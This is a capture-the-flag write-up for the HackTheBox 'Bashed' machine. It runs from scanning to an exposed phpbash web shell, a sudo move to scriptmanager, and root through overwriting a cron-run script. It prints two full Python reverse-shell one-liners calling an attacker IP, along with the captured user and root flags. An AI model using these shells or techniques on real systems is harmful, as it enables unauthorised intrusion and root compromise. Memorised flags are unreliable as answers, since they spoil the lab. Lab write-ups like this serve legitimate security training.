The Machine
Bashed is a Linux machine with a single open port: HTTP on 80. The attack path runs through three distinct phases: finding a developer tool left on the server, using a sudo misconfiguration to move laterally to a more privileged account, and identifying a cron-executed script that the new account owns and can overwrite.
This machine covers techniques that appear frequently in real engagements. Developer tools, debug panels, and admin interfaces left accessible on production systems are a common initial access vector. The cron detection method here, observing file ownership and output timestamps rather than reading crontab, is essential knowledge for environments where crontab access is restricted.
| Port | Service | Notes |
|---|---|---|
80 | HTTP (Apache 2.4.18) | Single attack surface. All paths run through the web server |
Enumeration
Two-phase nmap. Single open port.
$ nmap -p- --min-rate 1000 -oN bashed-all-ports.txt 10.129.27.55
$ nmap -p 80 -sC -sV --min-rate 1000 -oN bashed-service-scan.txt 10.129.27.55
Apache 2.4.18 on port 80. Page title: "Arrexel's Development Site". Only one attack surface.
Web Application: Arrexel's Development Site
The homepage explicitly states that phpbash was developed and tested on this server. The GitHub link confirms phpbash is an interactive PHP web shell. The attack surface is identified before gobuster runs: find the shell.
Directory Enumeration
$ gobuster dir -u http://10.129.27.55 \
-w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
-x php,html,txt -o bashed-gobuster.txt
Key findings: /dev/, /uploads/, /php/, and config.php. Investigate /dev/ first given the homepage context.
Directory listing is enabled on /dev/. It contains phpbash.php and phpbash.min.php.
/uploads/ is empty. The web shell in /dev/ is the entry point.
phpbash, an interactive PHP web shell, was left on the server at /dev/phpbash.php with directory listing enabled on the parent directory. The homepage explicitly documented its presence. Developer tools and debug interfaces left accessible on production systems are a direct foothold vector.
Foothold: phpbash Web Shell
Navigate directly to the shell:
http://10.129.27.55/dev/phpbash.php
Interactive web shell running as www-data. First check:
www-data@bashed:/var/www/html/dev# sudo -l
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data can run any command as scriptmanager with no password. This is a lateral movement path, not a direct escalation to root. The value is in what scriptmanager has access to that www-data does not.
Reverse Shell Upgrade
The phpbash web shell is sufficient for enumeration but limited for interactive commands. Upgrade to a proper reverse shell before attempting lateral movement:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.67",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Lateral Movement: sudo to scriptmanager
sudo -u scriptmanager /bin/bash
Shell as scriptmanager. Grab the user flag:
cat /home/arrexel/user.txt
8c8dd22e4f1f8cce5a9c9ffced522cfe
Privilege Escalation: Cron Script Overwrite
Enumerate unusual directories. /scripts/ exists at the root of the filesystem and is owned by scriptmanager. Check the ownership of everything inside it:
ls -la /scripts/
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 2 05:38 test.txt
Two files. test.py is owned by scriptmanager and writable. test.txt is owned by root with a recent timestamp. Root is executing test.py on a cron schedule and writing the output to test.txt. scriptmanager can overwrite test.py with any content.
Root executes /scripts/test.py on a cron schedule. The script is owned by scriptmanager and writable. Replacing the script content with a reverse shell payload will execute it as root when cron fires. No crontab access is needed. The ownership pattern of the files tells the full story: scriptmanager owns the script, root owns the output.
Set up a second listener on port 5555, then overwrite test.py:
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.67",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /scripts/test.py
Wait for cron to fire. Root shell lands on the listener at port 5555.
cat /root/root.txt
1efe6023b939ae47d2b706861c0c747c
Attack Chain
| Step | Technique | Result |
|---|---|---|
| 1 | Nmap two-phase scan | Apache 2.4.18 on port 80. Single attack surface |
| 2 | Homepage analysis | phpbash explicitly referenced as built and tested on this server |
| 3 | Gobuster with .php extension | /dev/ found with directory listing. phpbash.php exposed |
| 4 | phpbash.php accessed directly | Interactive web shell as www-data. sudo -l reveals scriptmanager NOPASSWD:ALL |
| 5 | Python reverse shell from web shell | Stable reverse shell as www-data, upgraded to TTY |
| 6 | sudo -u scriptmanager /bin/bash | Lateral move to scriptmanager. User flag captured from /home/arrexel/ |
| 7 | /scripts/ ownership analysis | test.py (scriptmanager-owned, writable) executed by root via cron. test.txt timestamp confirms schedule |
| 8 | Overwrite test.py with reverse shell | Root shell lands when cron fires. Root flag captured |
Vulnerabilities Found
| Vulnerability | Location | Impact |
|---|---|---|
| Developer tool left on production server | /dev/phpbash.php, Apache directory listing enabled | Direct interactive web shell as www-data, no authentication required |
| sudo NOPASSWD:ALL to scriptmanager | /etc/sudoers, www-data account | Lateral movement to scriptmanager, unlocking /scripts/ write access |
| Root cron executing user-writable script | /scripts/test.py, root crontab | scriptmanager can overwrite the script to execute arbitrary commands as root |
Lessons Learned
- Developer tools left on production servers are a direct foothold. phpbash was intentionally placed on this server during development and never removed. Any web enumeration that surfaces a dev directory, debug panel, or admin interface must be investigated immediately before moving on.
- Read the application before running tools. The homepage documented phpbash's presence explicitly. The recon was done before gobuster ran. Context from the application often identifies the target faster than brute-force enumeration.
- sudo lateral movement is not the same as privilege escalation. Moving from www-data to scriptmanager via sudo is a lateral move between user accounts. The value is not the move itself but what scriptmanager owns that www-data does not. Always enumerate what the new account can access after any lateral move.
- Cron detection without crontab access: watch file ownership and timestamps. There was no crontab visible to scriptmanager, but
test.txtwas owned by root with a fresh timestamp whiletest.pywas owned by scriptmanager. Those two data points together confirm a root cron job. On the exam, always check/scripts/,/opt/, and unusual top-level directories for this pattern. - Upgrade a web shell to a reverse shell before attempting lateral movement or privesc. phpbash was sufficient for initial enumeration but impractical for interactive commands. A proper TTY with job control is required for reliable shell operations during lateral movement and escalation.
- Two listeners, two ports. The initial foothold used port 4444 for the www-data reverse shell. The cron exploitation required a second listener on port 5555. Pre-plan listener ports when the attack chain involves multiple shell callbacks.